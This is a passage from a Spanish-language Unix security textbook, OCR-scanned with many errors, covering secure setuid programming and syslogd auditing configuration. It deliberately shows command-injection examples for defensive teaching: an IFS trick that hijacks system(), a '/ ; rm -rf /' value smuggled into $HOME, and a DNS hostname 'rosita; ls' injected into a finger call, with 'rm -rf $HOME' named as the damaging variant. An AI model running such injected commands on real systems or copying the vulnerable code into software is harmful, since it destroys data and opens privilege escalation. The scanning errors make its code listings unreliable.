• Reset de los UIDs y GIDs efectivos antes de llamar a exec(). 

Uno de los grandes problemas de los programas setuidados es la ejecucion de otros programas 
de manera inesperada; por ejemplo, si el usuario introduce ciertos datos desde teclado, datos 
que se han de pasar como argumento a otra aplicacion, nada nos asegura a priori que esos 
datos sean correctos o coherentes. Por tanto, parece obvio resetear el UID y el GID efectivos 
antes de invocar a exec(), de forma que cualquier ejecucion inesperada se realice con el 
minimo privilegio necesario; esto tambien es aplicable a funciones que indirectamente realicen 
el execO, como systemO o popenO. 

• Es necesario cerrar todos los descriptores de fichero, excepto los estrictamente necesarios, an- 
tes de llamar a execO. 

Los descriptores de ficheros son un parametro que los procesos Unix heredan de sus padres; de 
esta forma, si un programa setuidado esta leyendo un archivo, cualquier proceso hijo tendra 
acceso a ese archivo a no ser que explicitamente se cierre su descriptor antes de ejecutar el 
exec () . 

La forma mas facil de prevenir este problema es activando un flag que indique al sistema 
que ha de cerrar cierto descriptor cada vez que se invoque a execO; esto se consigue median- 
te las llamadas fcntlO e ioctlO. 

• Hay que asegurarse de que chrootO realmente restringe. 

Los enlaces duros entre directories son algo que el nucleo de muchos sistemas Unix no permiten 
clebido a que genera bucles en el sistema de ficheros, algo que crea problemas a cleterminadas 
aplicaciones; por ejemplo, Linux no permite crear estos enlaces, pero Solaris o Minix sf. En 
estos ultimos, en los clones de Unix que permiten hard links entre directories, la llamada 
chrootO puede perder su funcionalidad: estos enlaces pueden seguirse aunque no se limiten 
al entorno con el directorio rafz restringido. Es necesario asegurarse de que no hay directories 
enlazados a ninguno de los contenidos en el entorno chrootO (podemos verlo con la option 
‘-1’ de la orden Is, que muestra el numero de enlaces de cada archivo). 

• Comprobaciones del entorno en que se ejecutara el programa. 

En Unix todo proceso hereda una serie de variables de sus progenitores, como el umask, los 
descriptores de ficheros, o ciertas variables de entorno ( $PATH , $IFS. . . ); para una ejecucion 
segura, es necesario controlar todos y cada uno de estos elementos que afectan al entorno de 
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un proceso. Especialmente criticas son las funciones que dependen del shell para ejecutar un 
programa, como systemO o execvpO: en estos casos es muy diffcil asegurar que el shell va 
a ejecutar la tarea prevista y no otra. Por ejemplo, imaginemos el siguiente codigo: 

#include <stdlib.h> 

mainQ-f 

system ("Is") ; 

> 

A primera vista, este programa se va a limitar a mostrar un listado del directorio actual; no 
obstante, si un usuario modifica su $PATH de forma que el directorio ‘ . 1 ocupe el primer 
lugar, se ejecutara . /Is en lugar de /bin/ls. Si el programa . /Is fuera una copia del shell , y 
el codigo anterior estuviera setuidado por el root, cualquier usuario podrfa obtener privilegios 
de administrador. 

Quizas alguien puede pensar que el problema se soluciona si se indica la ruta completa 
(/bin/ls) en lugar de unicamente el nombre del ejecutable; evidentemente, esto arreglaria el 
fallo anterior, pero seguirian siendo factibles multitud de ataques contra el programa. Des- 
de la modification del $IFS (como veremos mas adelante) hasta la ejecucion en entornos 
restringidos, existen muchisimas tecnicas que hacen muy diffcil que un programa con estas 
caracteristicas pueda ser considerado seguro. 

Nunca setuidar shellscripts. 

Aunque en muchos sistemas Unix la activation del bit setuid en shellscripts no tiene ningun 
efecto, muchos otros aun permiten que los usuarios - especialmente el root - creen procesos 
interpretados y setuidados. La potencia de los interpretes de ordenes de Unix hace casi impo- 
sible controlar que estos programas no realicen acciones no deseadas, violando la seguridad del 
sistema, por lo que bajo ningun concepto se ha de utilizar un proceso por lotes para realizar 
acciones privilegiadas de forma setuidada. 

No utilizar creatO para bloquear. 

Una forma de crear un hchero de bloqueo es invocar a creat () con un modo que no permita 
la escritura del archivo (habitualmente el 000) , de forma que si otro usuario tratara de hacer 
lo mismo, su llamada a creatO fallarfa. Esta aproximacion, que a primera vista parece 
completamente valida, no lo es tanto si la analizamos con detalle: en cualquier sistema Unix, 
la protection que proporcionan los permisos de un hchero solo es aplicable si quien trata de 
acceder a el no es el root. Si esto es asi, es decir, si el UID efectivo del usuario que esta acce- 
diendo al archivo es 0, los permisos son ignorados completamente y el acceso esta permitido; 
de esta forma, el root puede sobreescribir archivos sin que le importen sus bits rwx, lo que 
implica que si uno de los procesos que compiten por el recurso bloqueado esta setuidado a 
nombre del administrador, el esquema de bloqueo anterior se viene abajo. 

Para poder bloquear recursos en un programa setuidado se utiliza la llamada link(), ya 
que si se intenta crear un enlace a un hchero que ya existe link() falla aunque el proceso que 
lo invoque sea propiedad del root (y aunque el hchero sobre el que se realice no le pertenez- 
ca).Tambien es posible utilizar la llamada al sistema flock () de algunos Unices, aunque es 
menos recomendable por motivos de portabilidad entre clones. 

Capturar todas las senales. 

Un problema que puede comprometer la seguridad del sistema Unix es el volcado de la imagen 
en memoria de un proceso cuando este recibe ciertas senales (el clasico core dump). Esto puede 
provocar el volcado de information sensible que el programa estaba leyendo: por ejemplo, en 
versiones del programa login de algunos Unices antiguos, se podia leer parte de /etc/shadow 
enviando al proceso la serial SIGTERM y consultando el hchero de volcado. 



5.5. PROGRAMACION SEGURA 


85 


No obstante, este problema no resulta tan grave como otro tambien relacionado con los core 
dump: cuando un programa setuidado vuelca su imagen el fichero resultante tiene el mismo 
UID que el UID real del proceso. Esto puede permitir a un usuario obtener un fichero con 
permiso de escritura para todo el mundo pero que pertenezca a otro usuario (por ejemplo, 
el root): evidentemente esto es muy perjudicial, por lo que parece claro que en un progra- 
ma setuidado necesitamos capturar todas las senales que Unix nos permita (recordemos que 
SIGKILL no puede capturarse ni ignorarse, por norma general). 

• Hay que asegurarse de que las verificaciones realmente verifican. 

Otra norma basica a la hora de escribir aplicaciones setuidadas es la desconfianza de cualquier 
elemento externo al programa; hemos de verificar siempre que las entradas (teclado, fiche- 
ros. . . ) son correctas, ya no en su formato sino mas bien en su origen: ^de quien proviene un 
archivo del que nuestro programa lee sus datos, de una fuente fiable o de un atacante que por 
cualquier metodo - no nos importa cual - ha conseguido reemplazar ese archivo por otro que 
el ha creado? 

• Cuidado con las recuperaciones y detecciones de errores. 

Ante cualquier situation inesperada - y por lo general, poco habitual, incluso forzada por un 
atacante - un programa setuidado debe cletenerse sin mas; nada de intentar recuperarse del 
error: detenerse sin mas. Esto, que quizas rompe muchos de los esquemas clasicos sobre pro- 
gramacion robusta, tiene una explication sencilla: cuando un programa detecta una situation 
inesperada, a menudo el programador asume condiciones sobre el error (o sobre su causa) que 
no tienen por que cumplirse, lo que suele desembocar en un problema mas grave que la propia 
situation inesperada. Para cada posible problema que un programa encuentre (entradas muy 
largas, caracteres erroneos o de control, formatos de datos erroneos. . . ) es necesario que el 
programador se plantee que es lo que su codigo debe hacer, y ante la minima duda detener el 
programa. 

• Cuidado con las operaciones de entrada/salida. 

La entrada/salida entre el proceso y el resto del sistema constituye otro de los problemas 
comunes en programas setuidados, especialmente a la hora de trabajar con ficheros; las con- 
diciones de carrera aqui son algo demasiado frecuente: el ejemplo clasico se produce cuando 
un programa setuidado ha de escribir en un archivo propiedad del usuario que ejecuta el pro- 
grama (no de su propietario) . En esta situation lo habitual es que el proceso cree el fichero, 
realize sobre el un chownO al rUID y al rGID del proceso (es clecir, a los identificadores de 
quien esta ejecutando el programa), y posteriormente escriba en el archivo; el esqueleto del 
codigo seria el siguiente: 

fd=open("f ichero" ,Q_CREAT) ; 
f chown(fd,getuid() ,getgid()) ; 
write (f d,buf f , strlen(buf f ) ) ; 

Pero, ique sucede si el programa se interrumpe tras realizar el open() pero antes de invocar 
a f chownO, y ademas el umask del usuario es 0? El proceso habra dejado un archivo que 
pertenece al propietario del programa (generalmente el root) y que tiene permiso de escritura 
para todo el mundo. La forma mas efectiva de solucionar el problema consiste en que el 
proceso engendre un hijo mediante fork(), hijo que asignara a sus eUID y eGID los valores 
de su rUID y rGID (los identificadores del usuario que lo ha ejecutado, no de su propietario) . 
El padre podra enviar datos a su hijo mediante pipe(), datos que el hijo escribira en el 
fichero correspondiente: asi el fichero en ningun momento tendra por que pertenecer al usuario 
propietario del programa, con lo que evitamos la condition de carrera expuesta anteriormente. 

Sin embargo, un correcto estilo de programacion no siempre es la solution a los problemas de 
seguridad del codigo; existen llamadas a sistema o funciones de libreria que son un clasico a la hora 
de hablar de bugs en nuestro software. Como norma, tras cualquier llamada se ha de comprobar 
su valor de retorno y manejar los posibles errores que tenga asociados ([ShoOO]), con la evidente 



86 


CAPITULO 5. PROGRAMAS SEGUROS , INSEGUROS Y NOCIVOS 

exception de las llamadas que estan disenadas para sobreescribir el espacio de memoria de un proceso 
(la familia exec() por ejemplo) o las que hacen que el programa finalice (tfpicamente, exitO) . 
Algunas de las llamadas consideradas mas peligrosas (bien porque no realizan las comprobaciones 
necesarias, bien porque pueden recibir datos del usuario) son las siguientes 5 : 

• systemO: Esta es la llamada que cualquier programa setuidado debe evitar a toda costa. Si 
aparece en un codigo destinado a ejecutarse con privilegios, significa casi con toda certeza un 
grave problema de seguridad; en algunas ocasiones su peligrosidad es obvia (por ejemplo si 
leemos datos tecleados por el usuario y a continuation hacemos un systemO de esos datos, 
ese usuario no tendrfa mas que teclear /bin/bash para conseguir los privilegios del propietario 
del programa), pero en otras no lo es tanto: imaginemos un codigo que invoque a systemO 
de una forma similar a la siguiente: 

#include <stdio.h> 

#include <stdlib.h> 

mainO { 

system("/bin/ls") ; 

> 

El programa anterior se limitaria a realizar un listado del directorio desde el que lo ejecutemos. 
A1 menos en teoria, ya que podemos comprobar que no es clificil ‘enganar’ a systemO: no 
tenemos mas que modificar la variable de entorno $IFS ( Internal Field Separator) del shell 
desde el que ejecutemos el programa para conseguir que este codigo ejecute realmente lo 
que nosotros le indiquemos. Esta variable delimita las palabras (o simbolos) en una liiiea 
de orclenes, y por defecto suele estar inicializada a Espacio, Tabulador, y Nueva Linea (los 
separadores habituales de palabras); pero, ique sucede si le indicamos al shell que el nuevo 
caracter separador va a ser la barra, * / * ?. Muy sencillo: ejecutar ‘/bin/ls’ sera equivalente a 
ejecutar 'bin Is ’ , es decir, una posible orclen denominada 'bin’ que recibe como parametro 
' Is ’ . Por ejemplo, bajo SunOS bajo la mayoria de Unices y utilizando sh (no bash) 
podemos hacer que 'bin’ sea un programa de nuestra election, como 'id’: 

$ cp /bin/id bin 
$ ejemplo 

bin ejemplo.c ejemplo 
$ IFS=/ 

$ export IFS 
$ ejemplo 

uid=672 (toni) gid=10(staff ) 

$ 

Como podemos ver, acabamos de ejecutar un programa arbitrario; si en lugar de ‘id’ hu- 
bieramos escogido un interprete de ordenes, como ‘bash’ o ‘sh’, habriamos ejecutado ese 
shell. Y si el programa anterior estuviera setudiado , ese shell se habria ejecutado con los 
privilegios del propietario del archivo (si imaginamos que fuera root, podemos hacernos una 
idea de las implicationes de seguridad que esto representa) . 

• execO, popenO: Similares a la anterior; es preferible utilizar execvO o execlO, pero si 
han de recibir parametros del usuario sigue siendo necesaria una estricta comprobacion de los 
mismos. 

• setuidO, setgid ()...: Los programas de usuario no deberian utilizar estas llamadas, ya 
que no han de tener privilegios innecesarios. 

5 Que sean peligrosas no significa que algunas de ellas no se deban utilizar nunca, solo que si las usamos hemos de 
tomar unas mmimas precauciones. 
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• strcpy () , strcat () , sprintf () , vsprintf ()...: Estas funciones no comprueban la longitud 
cle las cadenas con las que trabajan, por lo que son una gran fuente de buffer overflows. Se han 
cle sustituir por llamadas equivalentes que si realicen comprobacion de limites (strncpyO, 
strncatO. . . ) y, si no es posible, realizar dichas comprobaciones manualmente. 

• getenvO: Otra excelente fuente de desbordamientos de buffer, ademas, el uso que hagamos 
de la informacion leida puede ser peligroso, ya que recorclemos que es el usuario el que gene- 
ralmente puede modificar el valor de las variables de entorno. Por ejemplo, ique sucederia si 
ejecutamos desde un programa una orclen como 'cd $HDME’, y resulta que esta variable de 
entorno no corresponde a un nombre de directorio sino que es de la forma ‘ / ; rm -rf / ’ ? Si 
algo parecido se hace desde un programa que se ejecute con privilegios en el sistema, podemos 
imaginarnos las consecuencias. . . 

• getsO, scanfO, fscanfO, getpassO, realpathO, getopt ()...: Estas funciones no rea- 
lizan las comprobaciones adecuadas de los datos introducidos, por lo que pueden clesbordar 
en algunos casos el buffer destino o un buffer estatico interno al sistema. Es preferible el uso 
de readQ o fgetsO siempre que sea posible (incluso para leer una contraseha, haciendo 
por supuesto que no se escriba en pantalla), y si no lo es al menos realizar manualmente 
comprobaciones de longitud de los datos leidos. 

• gethostbyname () , gethostbyaddr () : Seguramente ver las amenazas que provienen del uso 
de estas llamadas no es tan inmediato como ver las del resto; generalmente hablamos de 
desbordamiento de buffers, de comprobaciones de limites de datos introducidos por el usua- 
rio. . . pero no nos paramos a pensar en datos que un atacante no introduce directamente desde 
teclado o desde un archivo, pero cuyo valor puede forzar incluso desde sistemas que ni siquiera 
son el nuestro. Por ejemplo, todos tendemos a asumir como ciertas las informaciones que un 
servidor DNS - mas o menos fiables, por ejemplo alguno de nuestra propia organization - nos 
brinda. Imaginemos un programa como el siguiente (se han omitido las comprobaciones de 
errores habituales por cuestiones de claridad): 

#include <stdio.h> 

#include <stdlib.h> 

#include <netdb.h> 

#include <unistd.h> 

#include <arpa/inet ,h> 

int main(int argc, char **argv){ 

struct in_addr *dir=(struct in_addr *)malloc (sizeof (struct in_addr)); 
struct hostent *maquina= (struct hostent *)malloc (sizeof (struct \ 
hostent) ) ; 

char *orden=(char *)malloc (30) ; 
dir->s_addr=inet_addr (*++argv) ; 

maquina=gethostbyaddr((char *) dir , sizeof (struct in_addr) ,AF_INET) ; 
sprintf (orden, "finger @“/ 0 s\n" ,maquina->h_name) ; 
system (orden) ; 
return(O) ; 

> 

Este codigo recibe como argumento una direction IP, obtiene su nombre via /etc/hosts o 
DNS,y ejecuta un finger sobre dicho nombre; aparte de otros posibles problemas de seguridad 
(por ejemplo, ^seriamos capaces de procesar cualquier informacion que devuelva el finger?, 
^que sucede con la llamada a systemO?), nada extraho ha de suceder si el nombre de maquina 
clevuelto al programa es ‘normal’: 

luisa:~/tmp$ ./ejemplo 195.195.5.1 
[rosita] 
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No one logged on. 
luisa: ~/tmp$ 

Pero, ique pasarfa si en lugar cle devolver un nombre ‘normal’ (como ‘rosita’) se devuelve 
un nombre algo mas elaborado, como ‘rosita; Is 1 ? Podemos verlo: 

luisa:~/tmp$ ./ejemplo 195.195.5.1 
[rosita; Is] 

No one logged on. 
ejemplo ejemplo.c 
luisa: ~/tmp$ 

Exactamente: se ha ejecutado la orden ‘finger @rosita;ls’ (esto es, un ‘finger’ a la 
maquina seguido cle un ‘Is’). Podemos imaginar los efectos que tendrfa el uso cle este 
programa si sustituimos el inocente ‘Is’ por un ‘rm -rf $H0ME’. Un atacante que consiga 
controlar un servidor DNS (algo no muy complicado) podria inyectarnos datos maliciosos en 
nuestra maquina sin ningun problema. Para evitar esta situation debemos hacer una doble 
busqueda inversa y ademas no hacer ninguna suposicion sobre la correction o el formato de 
los datos recibidos; en nuestro codigo clebemos insertar las comprobaciones necesarias para 
asegurarnos de que la information que recibimos no nos va a causar problemas. 

syslogO: Hemos de tener la precaution de utilizar una version de esta funcion de libreria 
que compruebe la longitud de sus argumentos; si no lo hacemos y esa longitud sobrepasa un 
cierto limite (generalmente, 1024 bytes) podemos causar un desbordamiento en los buffers de 
nuestro sistema cle log , clejandolo inutilizable. 

realloc (): Ningun programa - privilegiado o no - que maneje datos sensibles (por ejemplo, 
contrasenas, correo electronico. . . y especialmente aplicaciones criptograficas) debe utilizar es- 
ta llamada; realloc () se suele utilizar para aumentar dinamicamente la cantidad de memoria 
reservada para un puntero. Lo habitual es que la nueva zona de memoria sea contigua a la que 
ya estaba reservada, pero si esto no es posible realloc () copia la zona antigua a una nueva 
ubicacion donde pueda ahadirle el espacio especificado. ^Cual es el problema? La zona cle 
memoria antigua se libera (perclemos el puntero a ella) pero no se pone a cero, con lo que sus 
contenidos permanecen inalterados hasta que un nuevo proceso reserva esa zona; accediendo 
a bajo nivel a la memoria (por ejemplo, leyendo /proc/kcore o /dev/kmem) seria posible para 
un atacante tener acceso a esa information. 

Realmente, mallocO tampoco pone a cero la memoria reservada, por lo que a primera vista 
puede parecer que cualquier proceso de usuario (no un acceso a bajo nivel, sino un simple 
mallocO en un programa) podria permitir la lectura del antiguo contenido de la zona cle 
memoria reservada. Esto es falso si se trata de nueva memoria que el nucleo reserva para el 
proceso invocador: en ese caso, la memoria es limpiada por el propio kernel del operativo, 
que invoca a kmallocO (en el caso de Linux, en otros Unices el nombre puede variar aunque 
la idea sea la misma) para hacer la reserva. Lo que si es posible es que si liberamos una zona 
de memoria (por ejemplo con freeO) y a continuation la volvemos a reservar, en el mismo 
proceso, podamos acceder a su contenido: esa zona no es ‘nueva’ (es decir, el nucleo no la 
ha reservado de nuevo), sino que ya pertenecia al proceso. De cualquier forma, si vamos a 
liberar una zona en la que esta almacenada information sensible, lo mejor en cualquier caso 
es ponerla a cero manualmente, por ejemplo mediante bzeroO o memsetO. 

open(): El sistema de ficheros puede modificarse durante la ejecucion de un programa cle 
formas que en ocasiones ni siquiera imaginamos; por ejemplo, en Unix se ha de evitar escribir 
siguiendo enlaces de archivos inesperados (un archivo que cambia entre una llamada a lstat () 
para comprobar si existe y una llamada a open ( ) para abrirlo en caso positivo, como hemos 
visto antes). No obstante, no hay ninguna forma de realizar esta operation atomicamente sin 
llegar a mecanismos de entrada/salida de muy bajo nivel; Peter Gutmann propone el siguiente 
codigo para asegurarnos de que estamos realizando un open ( ) sobre el archivo que realmente 
queremos abrir, y no sobre otro que un atacante nos ha puesto en su lugar: 
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struct stat lstatlnfo; 
char *mode="rb+"; 
int fd; 

if (1st at (f ileName , feist at Inf o)==-l) 

{ 

if (errno ! =EN0ENT) return( -1 ); 

if ( (f d=open(f ileName , 0_CREAT I 0_EXCL I 0_RDWR,0600) )==-l) return (-1) ; 
mode="wb" ; 

> 

else 

{ 

struct stat fstatlnfo; 

if ( (fd=open(f ileName , 0_RDWR) )==-l) return (-1) ; 
if (f stat (fd,&f statInfo)==-l II \ 

lstatlnfo . st_mode ! =fstatInfo . st_mode II \ 
lstatlnfo . st_ino ! =fstatInfo . st_ino II \ 
lstatlnfo . st_dev ! =f statlnf o . st_dev) 

{ 

close (f d) ; 
return(-l) ; 

> 

if (fstatlnfo . st_nlink>l I I ! S_ISREG(lstatInf o . st_mode) ) 

{ 

close (f d) ; 
return(-l) ; 

> 

#if def NO_FTRUNCATE 
close (fd) ; 

if ( (fd=open(f ileName , 0_CREAT I 0_TRUNC I D_RDWR) )==-l) return( -1 ); 
mode="wb" ; 

#else 

ftruncate(fd,0) ; 

#endif /* NO_FTRUNCATE */ 

> 

stream->f ilePtr=f dopen(fd,mode) ; 
if (stream->f ilePtr==NULL) 

{ 

close (fd) ; 
unlink(f ileName) ; 

return(-l) ; /* Internal error, should never happen */ 

> 

> 

Como podemos ver, algo tan elemental como una llamada a openO se ha convertido en todo 
el codigo anterior si queremos garantizar unas minimas medidas de seguridad; esto nos puede 
dar una idea de hasta que punto la programacion ‘segura’ puede complicarse. No obstante, 
en muchas ocasiones es preferible toda la complication y parafernalia anteriores para realizar 
un simple openO a que esa llamada se convierta en un fallo de seguridad en nuestro sistema. 
No hay ningun programa que se pueda considerar perfecto o libre de errores (como se cita en 
el capftulo 23 de [GS96] , una rutina de una libreria puede tener un fallo. . . o un rayo gamma 
puede alterar un bit de memoria para hacer que nuestro programa se comporte de forma 
inesperada), pero cualquier medida que nos ayude a minimizar las posibilidades de problemas 
es siempre positiva. 
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Capitulo 6 


Auditoria del sistema 


6.1 Introduction 

Casi todas las actividades realizadas en un sistema Unix son susceptibles de ser, en mayor o menor 
medida, monitorizadas: desde las horas de acceso de cada usuario al sistema hasta las paginas web 
mas frecuentemente visitadas, pasando por los intentos fallidos de conexion, los programas ejecuta- 
dos o incluso el tiempo de CPU que cada usuario consume. Obviamente esta facilidad de Unix para 
recoger information tiene unas ventajas inmediatas para la seguridad: es posible detectar un intento 
de ataque nada mas producirse el mismo, asi como tambien detectar usos indebidos de los recursos 
o actividades ‘sospechosas’; sin embargo, existen tambien clesventajas, ya que la gran cantidad de 
information que potencialmente se registra puede ser aprovechada para crear negaciones de servicio 
o, mas habitualmente, esa cantidad de informacion puede hacer dificil detectar problemas por el 
volumen de datos a analizar. 

Algo muy interesante de los archivos de log en Unix es que la mayoria de ellos son simples ficheros 
de texto, que se pueden visualizar con un simple cat. Por una parte esto es bastante comodo 
para el administrador del sistema, ya que no necesita de herramientas especiales para poder revisar 
los logs (aunque existen algunas utilidades para hacerlo, como swatch) e incluso puede programar 
shellscripts para comprobar los informes generados de forma automatica, con ordenes como awk, 
grep o sed. No obstante, el hecho de que estos ficheros sean texto piano hace que un atacante 
lo tenga muy facil para ocultar ciertos registros modificando los archivos con cualquier editor de 
textos; esto implica una cosa muy importante para un administrador: nunca ha de confiar al 100% 
en lo que los informes de auditoria del sistema le digan. Para minimizar estos riesgos se pueden to- 
mar diversas medidas, desde algunas quizas demasiado complejas para entornos habituales ([SK98]) 
hasta otras mas sencillas pero igualmente efectivas, como utilizar una maquina fiable para regis- 
trar informacion del sistema o incluso enviar los registros mas importantes a una impresora; mas 
adelante hablaremos de ellas. 


6.2 El sistema de log en Unix 

Una desventaja anadida al sistema de auditoria en Unix puede ser la complejidad que puede al- 
canzar una correcta configuration; por si la dificultad del sistema no fuera suficiente, en cada Unix 
el sistema de logs tiene peculiaridades que pueden propiciar la perdida de informacion interesante 
de cara al mantenimiento de sistemas seguros. Aunque muchos de los ficheros de log de los que 
hablaremos a continuation son comunes en cualquier sistema, su localization, o incluso su formato, 
pueden variar entre diferentes Unices. 

Dentro de Unix hay clos grandes familias de sistemas: se trata de System V y BSD; la localiza- 
tion de ficheros y ciertas ordenes relativas a la auditoria de la maquina van a ser diferentes en ellas, 
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por lo que es muy recomendable consultar las paginas del manual antes de ponerse a configurar el 
sistema de auditoria en un equipo concreto. La principal diferencia entre ellos es el denominado 
process accounting o simplemente accounting, consistente en registrar todos los programas ejecuta- 
dos por cada usuario; evidentemente, los informes generados en este proceso pueden llegar a ocupar 
muchi'simo espacio en disco (dependiendo del niimero de usuarios en nuestro sistema) por lo que solo 
es recomendable en situaciones muy concretas, por ejemplo para detectar actividades sospechosas 
en una maquina o para cobrar por el tiempo de CPU consumido. En los sistemas System V el pro- 
cess accounting esta desactivado por clefecto; se puede iniciar mediante /usr/lib/acct/startup, 
y para visualizar los informes se utiliza la orden acctcom. En la familia BSD los equivalentes a estas 
ordenes son accton y lastcomm; en este caso el process accounting esta inicializado por defecto. 

Un mundo aparte a la hora de generar (y analizar) informes acerca de las actividades realiza- 
das sobre una maquina Unix son los sistemas con el modelo de auditoria C2 ([B + 85]); mientras que 
con el modelo clasico se genera un registro tras la ejecucion de cada proceso, en Unix C2 se propor- 
ciona una pista de auditoria donde se registran los accesos y los intentos de acceso de una entidad 
a un objeto, asi como cada cambio en el estado del objeto, la entidad o el sistema global. Esto 
se consigue asignando un identificador denominado Audit ID a cada grupo de procesos ejecutados 
(desde el propio login), identificador que se registra junto a la mayoria de llamadas al sistema que 
un proceso realiza, incluyendo algunas tan comunes como writeO, openO, closeO o read(). A 
nadie se le puede escapar la cantidad de espacio y de CPU necesarios para mantener los registros 
a un nivel tan preciso, por lo que en la mayoria de sistemas (especialmente en entornos habituates, 
como los estudiados aqui) el modelo de auditoria C2 es innecesario; y no solo esto, sino que en 
muchas ocasiones tambien se convierte en una monitorizacion inutil ([ALGJ98]) si no se dispone 
de mecanismos para interpretar o reducir la gran cantidad de datos registrados: el administrador 
guarda tanta information que es casi imposible analizarla en busca de actividades sospechosas. 


6.3 El demonio syslogd 

El demonio syslogd ( Syslog Daemon ) se lanza automaticamente al arrancar un sistema Unix, y es 
el encargado de guardar informes sobre el funcionamiento de la maquina. Recibe mensajes de las 
diferentes partes del sistema (nucleo, programas. . . ) y los envia y/o almacena en diferentes locali- 
zaciones, tanto locales como remotas, siguiendo un criterio clefinido en el hchero de configuration 
/etc/syslog. conf, donde especificamos las reglas a seguir para gestionar el almacenamiento de 
mensajes del sistema. Las lineas de este archivo que comienzan por ‘ # ’ son comentarios, con lo cual 
son ignoradas de la misma forma que las lineas en bianco; si ocurriera un error al interpretar una 
de las lineas del hchero, se ignoraria la linea completa. Un ejemplo de hchero /etc/syslog. conf 
es el siguiente: 

anita:~# cat /etc/syslog. conf 

#ident "@(#)syslog. conf 1.4 96/10/11 SMI" /* SunOS 5.0 */ 

# 

# Copyright (c) 1991-1993, by Sun Microsystems, Inc. 

# 

# syslog configuration file. 

# 

# This file is processed by m4 so be careful to quote C’) names 

# that match m4 reserved words. Also, within ifdef’s, arguments 

# containing commas must be quoted. 

# 

* . err ; kern . notice ; auth . notice / dev/ console 

* . err ; kern. debug; daemon. not ice ; mail . crit /var/adm/messages 

* . alert ; kern . err ; daemon . err operator 

*. alert root 
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* . emerg * 

# if a non-loghost machine chooses to have authentication messages 

# sent to the loghost machine, un-comment out the following line: 

#auth. notice if def ( 'LOGHOST 1 , /var/log/authlog, Ologhost) 

mail. debug if def ( 'LOGHOST 1 , /var/log/syslog, Ologhost) 

# 

# non-loghost machines will use the following lines to cause "user" 

# log messages to be logged locally. 

# 

if def ('LOGHOST’ , , 
user. err /dev/console 
user. err /var/adm/messages 
user. alert 'root, operator’ 
user. emerg * 

) 

anita: ~# 

Podemos ver que cada regia del archivo tiene dos campos: un campo de seleccion y un campo de 
accion, separados por espacios o tabuladores. El campo de seleccion esta formado a su vez de 
dos partes: una del servicio que envia el mensaje y otra de su prioridad, separadas por un punto 
ambas son indiferentes a mayusculas y minusculas. La parte del servicio contiene una de las 
siguientes palabras clave: auth, auth-priv, cron, daemon, kern, lpr, mail, mark, news, security 
(equivalente a auth), syslog, user, uucp y localO hasta localT. Esta parte especifica el ‘subsis- 
tema’ que ha generado ese mensaje (por ejemplo, todos los programas relacionados con el correo 
generaran mensajes ligados al servicio mail). 

La prioridad esta compuesta de uno de los siguientes terminos, en orden ascendente: debug, info, 
notice, warning, warn (equivalente a warning), err, error (equivalente a err), crit, alert, 
emerg, y panic (equivalente a emerg). La prioridad define la gravedad o importancia del mensa- 
je almacenado. Todos los mensajes de la prioridad especificada y superiores son almacenados de 
acuerdo con la accion requerida. 

Ademas de los terminos mencionados hasta ahora, el demonio syslogd emplea los siguientes carac- 
teres especiales: 

• V (asterisco) 

Empleado como comodin para todas las prioridades y servicios anteriores, dependiendo de 
donde son usados (si antes o despues del caracter de separacion '.’): 

# Guardar todos los mensajes del servicio mail en /var/adm/mail 

# 

mail.* /var/adm/mail 

• 1 ’ (bianco, espacio, nulo) 

Indica que no hay prioridad definida para el servicio de la linea almacenada. 

• (coma) 

Con este caracter es posible especificar multiples servicios con el mismo patron de prioridad 
en una misma linea. Es posible enumerar cuantos servicios se quieran: 

# Guardar todos los mensajes mail. info y news. info en 

# / var/ adm/ inf o 

mail , news . =info /var/adm/info 
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• (punto y coma) 

Es posible dirigir los mensajes de varios servicios y prioridades a un mismo destino, se- 
parandolos por este caracter: 

# Guardamos los mensajes de prioridad "info" y "notice" 

# en el archivo /var/log/messages 

* . =inf o ; * . =notice /var/log/messages 

• “=’ (igual) 

De este modo solo se almacenan los mensajes con la prioridad exacta especificada y no inclu- 
yendo las superiores: 

# Guardar todos los mensajes criticos en /var/adm/critical 

# 

*.=crit /var/adm/critical 

• T (exclamacion) 

Preceder el campo de prioridad con un signo de exclamacion sirve para ignorar todas las 
prioridades, teniendo la posibilidad de escoger entre la especificada ( ! =prioridad) y la espe- 
cificada mas todas las superiores ( ! prioridad). Cuando se usan conjuntamente los caracteres 
‘ = ’ y ‘ , el signo de exclamacion ‘ ! ’ debe preceder obligatoriamente al signo igual ‘ = ’ , de 

esta forma: ! =. 

# Guardar mensajes del kernel de prioridad info, pero no de 

# prioridad err y superiores 

# Guardar mensajes de mail excepto los de prioridad info 

kern. info; kern. ! err /var/adm/kernel-inf o 

mail . * ;mail . ! =inf o /var/adm/mail 

Por su parte, el campo de accion describe el destino de los mensajes, que puede ser : 

• Un fichero piano 

Normalmente los mensajes del sistema son almacenados en ficheros pianos. Dichos ficheros 
han de estar especificados con la ruta de acceso completa (comenzando con '/’)• 

Podemos preceder cada entrada con el signo menos, - para omitir la sincronizacion del 
archivo (vaciado del buffer de memoria a disco). Aunque puede ocurrir que se pierda infor- 
mation si el sistema cae justo despues de un intento de escritura en el archivo, utilizando este 
signo se puede conseguir una mejora importante en la velocidad, especialmente si estamos 
ejecutando programas que mandan muchos mensajes al demonio syslogd. 

# Guardamos todos los mensajes de prioridad critica en "critical" 

# 

*.=crit /var/adm/critical 

• Un terminal (o la consola) 

Tambien tenemos la posibilidad de enviar los mensajes a terminales; de este modo podemos 
tener uno de los terminales virtuales que muchos sistemas Unix ofrecen en su consola ‘dedicado’ 
a listar los mensajes del sistema, que podran ser consultados con solo cambiar a ese terminal: 

# Enviamos todos los mensajes a tty 12 (ALT+F12 en Linux) y todos 

# los mensajes criticos del nucleo a consola 

# 

*.* /dev/ttyl2 

kern.crit /dev/console 

• Una tuberfa con nombre 

Algunas versiones de syslogd permiten enviar registros a ficheros de tipo pipe simplemente 
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anteponiendo el smibolo 1 1 ’ al nombre del archivo; dicho fichero ha de ser creado antes de 
iniciar el demonio syslogd, mediante ordenes como mkfifo o mknod. Esto es util para debug 
y tambien para procesar los registros utilizando cualquier aplicacion de Unix, tal y como ve- 
remos al hablar de logs remotos cifrados. 

Por ejemplo, la siguiente linea de /etc/syslog . conf enviaria todos los mensajes de cual- 
quier prioridad a uno de estos ficheros denominado /var/log/mif if o: 

# Enviamos todos los mensajes a la tuberia con nombre 

# /var/log/mif if o 

# 

*.* I /var/log/mif if o 

• Una maquina remota 

Se pueden enviar los mensajes del sistema a otra maquina, de manera a que sean almacenados 
remotamente. Esto es util si tenemos una maquina segura, en la que podemos confiar, conec- 
